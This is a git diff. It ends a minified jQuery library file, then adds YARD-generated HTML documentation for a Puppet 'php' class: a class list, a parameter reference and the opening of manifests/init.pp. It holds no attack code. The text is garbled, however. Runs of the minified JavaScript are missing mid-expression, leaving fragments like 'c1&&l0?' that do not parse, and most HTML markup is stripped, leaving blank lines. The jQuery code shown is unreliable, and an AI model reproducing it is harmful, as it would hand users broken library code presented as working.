b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|canvas|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/",""],legend:[1,"
    ","
    "],thead:[1,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],col:[2,"","
    "],area:[1,"",""],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div
    ","
    "]),f.fn.extend({text:function(a){if(f.isFunction(a))return this.each(function(b){var c=f(this);c.text(a.call(this,b,c.text()))});if(typeof a!="object"&&a!==b)return this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a));return f.text(this)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f.clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function() +{for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){if(a===b)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1>");try{for(var c=0,d=this.length;c1&&l0?this.clone(!0):this).get();f(e[h])[b](j),d=d.concat(j)}return this.pushStack(d,a,e.selector)}}),f.extend({clone:function(a,b,c){var d,e,g,h=f.support.html5Clone||!bc.test("<"+a.nodeName)?a.cloneNode(!0):bo(a);if((!f.support.noCloneEvent||!f.support.noCloneChecked)&&(a.nodeType===1||a.nodeType===11)&&!f.isXMLDoc(a)){bk(a,h),d=bl(a),e=bl(h);for(g=0;d[g];++g)e[g]&&bk(d[g],e[g])}if(b){bj(a,h);if(c){d=bl(a),e=bl(h);for(g=0;d[g];++g)bj(d[g],e[g])}}d=e=null;return h},clean:function(a,b,d,e){var g;b=b||c,typeof b.createElement=="undefined"&&(b=b.ownerDocument||b[0]&&b[0].ownerDocument||c);var h=[],i;for(var j=0,k;(k=a[j])!=null;j++){typeof k=="number"&&(k+="");if(!k)continue;if(typeof k=="string")if(!_.test(k))k=b.createTextNode(k);else{k=k.replace(Y,"<$1>");var l=(Z.exec(k)||["",""])[1].toLowerCase(),m=bg[l]||bg._default,n=m[0],o=b.createElement("div");b===c?bh.appendChild(o):U(b).appendChild(o),o.innerHTML=m[1]+k+m[2];while(n--)o=o.lastChild;if(!f.support.tbody){var p=$.test(k),q=l==="table"&&!p?o.firstChild&&o.firstChild.childNodes:m[1]===""&&!p?o.childNodes:[];for(i=q.length-1;i>=0;--i)f.nodeName(q[i],"tbody")&&!q[i].childNodes.length&&q[i].parentNode.removeChild(q[i])}!f.support.leadingWhitespace&&X.test(k)&&o.insertBefore(b.createTextNode(X.exec(k)[0]),o.firstChild),k=o.childNodes}var r;if(!f.support.appendChecked)if(k[0]&&typeof (r=k.length)=="number")for(i=0;i=0)return b+"px"}}}),f.support.opacity||(f.cssHooks.opacity={get:function(a,b){return br.test((b&&a.currentStyle?a.currentStyle.filter:a.style.filter)||"")?parseFloat(RegExp.$1)/100+"":b?"1":""},set:function(a,b){var c=a.style,d=a.currentStyle,e=f.isNumeric(b)?"alpha(opacity="+b*100+")":"",g=d&&d.filter||c.filter||"";c.zoom=1;if(b>=1&&f.trim(g.replace(bq,""))===""){c.removeAttribute("filter");if(d&&!d.filter)return}c.filter=bq.test(g)?g.replace(bq,e):g+" "+e}}),f(function(){f.support.reliableMarginRight||(f.cssHooks.marginRight={get:function(a,b){var c;f.swap(a,{display:"inline-block"},function(){b?c=bz(a,"margin-right","marginRight"):c=a.style.marginRight});return c}})}),c.defaultView&&c.defaultView.getComputedStyle&&(bA=function(a,b){var c,d,e;b=b.replace(bs,"-$1").toLowerCase(),(d=a.ownerDocument.defaultView)&&(e=d.getComputedStyle(a,null))&&(c=e.getPropertyValue(b),c===""&&!f.contains(a.ownerDocument.documentElement,a)&&(c=f.style(a,b)));return c}),c.documentElement.currentStyle&&(bB=function(a,b){var c,d,e,f=a.currentStyle&&a.currentStyle[b],g=a.style;f===null&&g&&(e=g[b])&&(f=e),!bt.test(f)&&bu.test(f)&&(c=g.left,d=a.runtimeStyle&&a.runtimeStyle.left,d&&(a.runtimeStyle.left=a.currentStyle.left),g.left=b==="fontSize"?"1em":f||0,f=g.pixelLeft+"px",g.left=c,d&&(a.runtimeStyle.left=d));return f===""?"auto":f}),bz=bA||bB,f.expr&&f.expr.filters&&(f.expr.filters.hidden=function(a){var b=a.offsetWidth,c=a.offsetHeight;return b===0&&c===0||!f.support.reliableHiddenOffsets&&(a.style&&a.style.display||f.css(a,"display"))==="none"},f.expr.filters.visible=function(a){return!f.expr.filters.hidden(a)});var bD=/%20/g,bE=/\[\]$/,bF=/\r?\n/g,bG=/#.*$/,bH=/^(.*?):[ \t]*([^\r\n]*)\r?$/mg,bI=/^(?:color|date|datetime|datetime-local|email|hidden|month|number|password|range|search|tel|text|time|url|week)$/i,bJ=/^(?:about|app|app\-storage|.+\-extension|file|res|widget):$/,bK=/^(?:GET|HEAD)$/,bL=/^\/\//,bM=/\?/,bN=/)<[^<]*)*<\/script>/gi,bO=/^(?:select|textarea)/i,bP=/\s+/,bQ=/([?&])_=[^&]*/,bR=/^([\w\+\.\-]+:)(?:\/\/([^\/?#:]*)(?::(\d+))?)?/,bS=f.fn.load,bT={},bU={},bV,bW,bX=["*/"]+["*"];try{bV=e.href}catch(bY){bV=c.createElement("a"),bV.href="",bV=bV.href}bW=bR.exec(bV.toLowerCase())||[],f.fn.extend({load:function(a,c,d){if(typeof a!="string"&&bS)return bS.apply(this,arguments);if(!this.length)return this;var e=a.indexOf(" ");if(e>=0){var g=a.slice(e,a.length);a=a.slice(0,e)}var h="GET";c&&(f.isFunction(c)?(d=c,c=b):typeof c=="object"&&(c=f.param(c,f.ajaxSettings.traditional),h="POST"));var i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("
    ").append(c.replace(bN,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bO.test(this.nodeName)||bI.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bF,"\r\n")}}):{name:b.name,value:c.replace(bF,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b_(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b_(a,b);return a},ajaxSettings:{url:bV,isLocal:bJ.test(bW[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bX},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bZ(bT),ajaxTransport:bZ(bU),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?cb(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cc(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bH.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bG,"").replace(bL,bW[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bP),d.crossDomain==null&&(r=bR.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bW[1]&&r[2]==bW[2]&&(r[3]||(r[1]==="http:"?80:443))==(bW[3]||(bW[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),b$(bT,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bK.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bM.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bQ,"$1_="+x);d.url=y+(y===d.url?(bM.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bX+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=b$(bU,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)ca(g,a[g],c,e);return d.join("&").replace(bD,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cd=f.now(),ce=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cd++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=b.contentType==="application/x-www-form-urlencoded"&&typeof b.data=="string";if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(ce.test(b.url)||e&&ce.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(ce,l),b.url===j&&(e&&(k=k.replace(ce,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var cf=a.ActiveXObject?function(){for(var a in ch)ch[a](0,1)}:!1,cg=0,ch;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ci()||cj()}:ci,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,cf&&delete ch[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n),m.text=h.responseText;try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cg,cf&&(ch||(ch={},f(a).unload(cf)),ch[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var ck={},cl,cm,cn=/^(?:toggle|show|hide)$/,co=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,cp,cq=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cr;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(cu("show",3),a,b,c);for(var g=0,h=this.length;g=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each(["Left","Top"],function(a,c){var d="scroll"+c;f.fn[d]=function(c){var e,g;if(c===b){e=this[0];if(!e)return null;g=cy(e);return g?"pageXOffset"in g?g[a?"pageYOffset":"pageXOffset"]:f.support.boxModel&&g.document.documentElement[d]||g.document.body[d]:e[d]}return this.each(function(){g=cy(this),g?g.scrollTo(a?f(g).scrollLeft():c,a?c:f(g).scrollTop()):this[d]=c})}}),f.each(["Height","Width"],function(a,c){var d=c.toLowerCase();f.fn["inner"+c]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,d,"padding")):this[d]():null},f.fn["outer"+c]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,d,a?"margin":"border")):this[d]():null},f.fn[d]=function(a){var e=this[0];if(!e)return a==null?null:this;if(f.isFunction(a))return this.each(function(b){var c=f(this);c[d](a.call(this,b,c[d]()))});if(f.isWindow(e)){var g=e.document.documentElement["client"+c],h=e.document.body;return e.document.compatMode==="CSS1Compat"&&g||h&&h["client"+c]||g}if(e.nodeType===9)return Math.max(e.documentElement["client"+c],e.body["scroll"+c],e.documentElement["scroll"+c],e.body["offset"+c],e.documentElement["offset"+c]);if(a===b){var i=f.css(e,d),j=parseFloat(i);return f.isNumeric(j)?j:i}return this.css(d,typeof a=="string"?a:a+"px")}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_class_list.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_class_list.html new file mode 100644 index 000000000..7b465fabb --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_class_list.html @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + Puppet Class List + + + +
    +
    +

    Puppet Class List

    + + + +
    + + +
    + + diff --git a/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php.html b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php.html new file mode 100644 index 000000000..89fe3ec2d --- /dev/null +++ b/modules/utilities/unix/web_frameworks/php/docs/puppet_classes/php.html @@ -0,0 +1,906 @@ + + + + + + + Puppet Class: php + + — Documentation by YARD 0.9.9 + + + + + + + + + + + + + + + + + + + +
    + + +

    Puppet Class: php

    +
    + +
    +
    Inherits:
    +
    ::php::params
    +
    + + +
    +
    Defined in:
    +
    + manifests/init.pp +
    +
    +
    + +

    Overview

    +
    +
    +

    Base class with global configuration parameters that pulls in all +enabled components.

    + +

    === Parameters

    + +

    [ensure] + Specify which version of PHP packages to install, defaults to 'present'. + Please note that 'absent' to remove packages is not supported!

    + +

    [manage_repos] + Include repository (dotdeb, ppa, etc.) to install recent PHP from

    + +

    [fpm] + Install and configure php-fpm

    + +

    [fpm_service_enable] + Enable/disable FPM service

    + +

    [fpm_service_ensure] + Ensure FPM service is either 'running' or 'stopped'

    + +

    [fpm_service_name] + This is the name of the php-fpm service. It defaults to reasonable OS + defaults but can be different in case of using php7.0/other OS/custom fpm service

    + +

    [fpm_service_provider] + This is the name of the service provider, in case there is a non + OS default service provider used to start FPM. + Defaults to 'undef', pick system defaults.

    + +

    [fpm_pools] + Hash of php::fpm::pool resources that will be created. Defaults + to a single php::fpm::pool named www with default parameters.

    + +

    [fpm_global_pool_settings] + Hash of defaults params php::fpm::pool resources that will be created. + Defaults to empty hash.

    + +

    [fpm_inifile] + Path to php.ini for fpm

    + +

    [fpm_package] + Name of fpm package to install

    + +

    [fpm_user] + The user that php-fpm should run as

    + +

    [fpm_group] + The group that php-fpm should run as

    + +

    [dev] + Install php header files, needed to install pecl modules

    + +

    [composer] + Install and auto-update composer

    + +

    [pear] + Install PEAR

    + +

    [phpunit] + Install phpunit

    + +

    [apache_config] + Manage apache's mod_php configuration

    + +

    [proxy_type] + proxy server type (none|http|https|ftp)

    + +

    [proxy_server] + specify a proxy server, with port number if needed. ie: https://example.com:8080.

    + +

    [extensions] + Install PHP extensions, this is overwritten by hiera hash php::extensions

    + +

    [package_prefix] + This is the prefix for constructing names of php packages. This defaults + to a sensible default depending on your operating system, like 'php-' or + 'php5-'.

    + +

    [config_root_ini] + This is the path to the config .ini files of the extensions. This defaults + to a sensible default depending on your operating system, like + '/etc/php5/mods-available' or '/etc/php5/conf.d'.

    + +

    [config_root_inifile] + The path to the global php.ini file. This defaults to a sensible default + depending on your operating system.

    + +

    [ext_tool_enable] + Absolute path to php tool for enabling extensions in debian/ubuntu systems. + This defaults to '/usr/sbin/php5enmod'.

    + +

    [ext_tool_query] + Absolute path to php tool for querying information about extensions in + debian/ubuntu systems. This defaults to '/usr/sbin/php5query'.

    + +

    [ext_tool_enabled] + Enable or disable the use of php tools on debian based systems + debian/ubuntu systems. This defaults to 'true'.

    + +

    [log_owner] + The php-fpm log owner

    + +

    [log_group] + The group owning php-fpm logs

    + +

    [embedded] + Enable embedded SAPI

    + +

    [pear_ensure] + The package ensure of PHP pear to install and run pear auto_discover

    + +

    [settings]

    + +
    +
    +
    +

    Parameters:

    +
      + +
    • + + ensure + + + (String) + + + (defaults to: $::php::params::ensure) + + +
    • + +
    • + + manage_repos + + + (Boolean) + + + (defaults to: $::php::params::manage_repos) + + +
    • + +
    • + + fpm + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + fpm_service_enable + + + (Any) + + + (defaults to: $::php::params::fpm_service_enable) + + +
    • + +
    • + + fpm_service_ensure + + + (Any) + + + (defaults to: $::php::params::fpm_service_ensure) + + +
    • + +
    • + + fpm_service_name + + + (Any) + + + (defaults to: $::php::params::fpm_service_name) + + +
    • + +
    • + + fpm_service_provider + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + fpm_pools + + + (Hash) + + + (defaults to: { 'www' => {} }) + + +
    • + +
    • + + fpm_global_pool_settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + fpm_inifile + + + (Any) + + + (defaults to: $::php::params::fpm_inifile) + + +
    • + +
    • + + fpm_package + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + fpm_user + + + (Any) + + + (defaults to: $::php::params::fpm_user) + + +
    • + +
    • + + fpm_group + + + (Any) + + + (defaults to: $::php::params::fpm_group) + + +
    • + +
    • + + embedded + + + (Boolean) + + + (defaults to: false) + + +
    • + +
    • + + dev + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + composer + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + pear + + + (Boolean) + + + (defaults to: true) + + +
    • + +
    • + + pear_ensure + + + (String) + + + (defaults to: $::php::params::pear_ensure) + + +
    • + +
    • + + phpunit + + + (Boolean) + + + (defaults to: false) + + +
    • + +
    • + + apache_config + + + (Boolean) + + + (defaults to: false) + + +
    • + +
    • + + proxy_type + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + proxy_server + + + (Any) + + + (defaults to: undef) + + +
    • + +
    • + + extensions + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + settings + + + (Hash) + + + (defaults to: {}) + + +
    • + +
    • + + package_prefix + + + (Any) + + + (defaults to: $::php::params::package_prefix) + + +
    • + +
    • + + config_root_ini + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::config_root_ini) + + +
    • + +
    • + + config_root_inifile + + + (Stdlib::Absolutepath) + + + (defaults to: $::php::params::config_root_inifile) + + +
    • + +
    • + + ext_tool_enable + + + (Optional[Stdlib::Absolutepath]) + + + (defaults to: $::php::params::ext_tool_enable) + + +
    • + +
    • + + ext_tool_query + + + (Optional[Stdlib::Absolutepath]) + + + (defaults to: $::php::params::ext_tool_query) + + +
    • + +
    • + + ext_tool_enabled + + + (Boolean) + + + (defaults to: $::php::params::ext_tool_enabled) + + +
    • + +
    • + + log_owner + + + (String) + + + (defaults to: $::php::params::fpm_user) + + +
    • + +
    • + + log_group + + + (String) + + + (defaults to: $::php::params::fpm_group) + + +
    • + +
    + + +
    +
    + + + + +
    +
    +
    +
    +115
    +116
    +117
    +118
    +119
    +120
    +121
    +122
    +123
    +124
    +125
    +126
    +127
    +128
    +129
    +130
    +131
    +132
    +133
    +134
    +135
    +136
    +137
    +138
    +139
    +140
    +141
    +142
    +143
    +144
    +145
    +146
    +147
    +148
    +149
    +150
    +151
    +152
    +153
    +154
    +155
    +156
    +157
    +158
    +159
    +160
    +161
    +162
    +163
    +164
    +165
    +166
    +167
    +168
    +169
    +170
    +171
    +172
    +173
    +174
    +175
    +176
    +177
    +178
    +179
    +180
    +181
    +182
    +183
    +184
    +185
    +186
    +187
    +188
    +189
    +190
    +191
    +192
    +193
    +194
    +195
    +196
    +197
    +198
    +199
    +200
    +201
    +202
    +203
    +204
    +205
    +206
    +207
    +208
    +209
    +210
    +211
    +212
    +213
    +214
    +215
    +216
    +217
    +218
    +219
    +220
    +221
    +222
    +223
    +224
    +225
    +226
    +227
    +228
    +229
    +230
    +231
    +232
    +233
    +234
    +235
    +236
    +237
    +238
    +239
    +240
    +241
    +242
    +243
    +244
    +245
    +
    +
    # File 'manifests/init.pp', line 115
    +
    +class php (
    +  String $ensure                                  = $::php::params::ensure,
    +  Boolean $manage_repos                           = $::php::params::manage_repos,
    +  Boolean $fpm                                    = true,
    +  $fpm_service_enable                             = $::php::params::fpm_service_enable,
    +  $fpm_service_ensure                             = $::php::params::fpm_service_ensure,
    +  $fpm_service_name                               = $::php::params::fpm_service_name,
    +  $fpm_service_provider                           = undef,
    +  Hash $fpm_pools                                 = { 'www' => {} },
    +  Hash $fpm_global_pool_settings                  = {},
    +  $fpm_inifile                                    = $::php::params::fpm_inifile,
    +  $fpm_package                                    = undef,
    +  $fpm_user                                       = $::php::params::fpm_user,
    +  $fpm_group                                      = $::php::params::fpm_group,
    +  Boolean $embedded                               = false,
    +  Boolean $dev                                    = true,
    +  Boolean $composer                               = true,
    +  Boolean $pear                                   = true,
    +  String $pear_ensure                             = $::php::params::pear_ensure,
    +  Boolean $phpunit                                = false,
    +  Boolean $apache_config                          = false,
    +  $proxy_type                                     = undef,
    +  $proxy_server                                   = undef,
    +  Hash $extensions                                = {},
    +  Hash $settings                                  = {},
    +  $package_prefix                                 = $::php::params::package_prefix,
